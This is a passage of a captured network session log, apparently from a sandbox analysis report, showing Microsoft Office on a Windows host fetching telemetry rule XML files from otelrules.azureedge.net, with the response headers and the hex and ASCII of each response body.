2024-11-01 12:43:16 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	62404	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:16 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:16 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: b98585e4-601e-0001-4608-2cfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124316Z-16ccfc49897w2n6khC1DFW5wd800000000g000000000an0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	62405	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:16 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:16 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:16 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c82f2775-f01e-00aa-7936-2c8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124316Z-16ccfc498976vdjnhC1DFW5ann00000000p0000000008ups x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:16 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	62406	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:17 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:17 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:17 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 5d06e460-b01e-0084-1f08-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124317Z-16dc884887b6v426hC1DFWstvw00000000q0000000001haf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:17 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	62407	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:17 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:17 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: ea2b00a1-801e-00a0-7d0f-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124317Z-176bd8f9bc5wl4brhC1DFWmstw00000000dg0000000034re x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	62408	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:17 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:17 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: d6c962a3-601e-0050-3d78-2a2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124317Z-159b85dff8fc5h75hC1DFWntr800000002q000000000006n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	62409	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:17 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:17 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:17 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 50e7f621-801e-008c-6df0-2b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124317Z-16dc884887b5wkkfhC1DFWur1000000000g00000000026w1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:17 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	62410	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:17 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:18 UTC	545	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:17 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 8a01bb43-d01e-0014-0a08-2ced58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124317Z-16ccfc49897cvhbphC1DFWt5d800000000p000000000fy8w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-01 12:43:18 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	62411	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:18 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:18 UTC	522	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:18 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: fc004688-501e-00a3-0a24-2cc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124318Z-159b85dff8fj6b6xhC1DFW8qdg00000002wg000000009st1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-01 12:43:18 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	62412	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:18 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:18 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:18 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 1d2a8906-701e-0032-2d9f-2ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124318Z-159b85dff8fsgrl7hC1DFWadan00000003t000000000cc0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:18 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	62413	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:18 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:18 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:18 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: a8aebf1b-601e-003d-5d0c-2c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124318Z-159b85dff8fqn89xhC1DFWe83c00000001a0000000008751 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:18 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	62414	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:18 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:18 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:18 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: b98889fe-601e-0001-3b0a-2cfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124318Z-176bd8f9bc55qmmkhC1DFW300000000000eg000000000s7a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:18 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	62415	13.107.246.45	443

